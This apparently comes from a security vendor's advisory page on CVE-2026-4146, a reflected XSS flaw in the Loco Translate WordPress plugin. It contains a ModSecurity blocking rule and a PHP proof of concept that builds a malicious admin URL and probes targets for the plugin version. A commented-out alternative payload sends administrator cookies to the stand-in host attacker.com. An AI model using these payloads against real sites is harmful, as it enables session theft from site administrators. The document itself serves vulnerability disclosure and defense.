SecRule REQUEST_URI "@rx ^/wp-admin/(admin.php|admin-post.php)$" 
  "id:20264146,phase:2,deny,status:403,chain,msg:'CVE-2026-4146: Reflected XSS in Loco Translate via update_href parameter',severity:'CRITICAL',tag:'CVE-2026-4146',tag:'WordPress',tag:'Plugin/Loco-Translate',tag:'Attack/XSS'"
  SecRule ARGS_GET:page "@streq loco-config" "chain"
    SecRule ARGS_GET:update_href "@rx [<>'"]" 
      "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4146 - Loco Translate <= 2.8.2 - Reflected Cross-Site Scripting via 'update_href' Parameter

<?php
/**
 * Proof of Concept for CVE-2026-4146
 * Reflected XSS in Loco Translate plugin via update_href parameter
 * 
 * This script demonstrates the vulnerability by crafting a malicious URL
 * that triggers XSS when visited by an authenticated WordPress administrator.
 * The payload executes in the context of the WordPress admin dashboard.
 */

// Configuration - set your target WordPress site URL
$target_url = 'https://vulnerable-wordpress-site.com';

// XSS payload - modify as needed for demonstration
// This basic payload shows an alert with the current user's cookies
$xss_payload = '<script>alert(document.cookie)</script>';

// Alternative payload for cookie theft (uncomment to use):
// $xss_payload = '<script>new Image().src="https://attacker.com/steal.php?c="+encodeURIComponent(document.cookie);</script>';

// Construct the malicious URL
// The vulnerability exists in the version information page of Loco Translate
$malicious_url = $target_url . '/wp-admin/admin.php?page=loco-config&update_href=' . urlencode($xss_payload);

// Display the exploit URL
echo "Atomic Edge CVE-2026-4146 Proof of Conceptn";
echo "============================================nn";
echo "Target URL: $target_urln";
echo "XSS Payload: $xss_payloadnn";
echo "Malicious URL:n";
echo "$malicious_urlnn";

echo "Instructions:n";
echo "1. Ensure Loco Translate plugin <= 2.8.2 is installedn";
echo "2. Log in as WordPress administratorn";
echo "3. Visit the malicious URL aboven";
echo "4. The XSS payload will execute in the admin dashboardnn";

// Optional: Test if the target is vulnerable using cURL
// This checks if the plugin exists and the page is accessible
if (isset($_GET['test'])) {
    echo "Testing target availability...n";
    
    // First, try to access the Loco Translate config page
    $test_url = $target_url . '/wp-admin/admin.php?page=loco-config';
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $test_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Atomic Edge Security Scanner)');
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    curl_close($ch);
    
    if ($http_code == 200 && strpos($response, 'Loco Translate') !== false) {
        echo "[+] Target appears to have Loco Translate installedn";
        
        // Check version by looking for version indicators
        if (strpos($response, '2.8.2') !== false || strpos($response, 'Version 2.8') !== false) {
            echo "[+] Potentially vulnerable version detectedn";
        } else {
            echo "[-] Version check inconclusive - manually verifyn";
        }
    } else {
        echo "[-] Could not access Loco Translate config pagen";
        echo "[-] HTTP Code: $http_coden";
    }
}

// Note: This is a demonstration script only
// Use only on systems you own or have permission to test
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School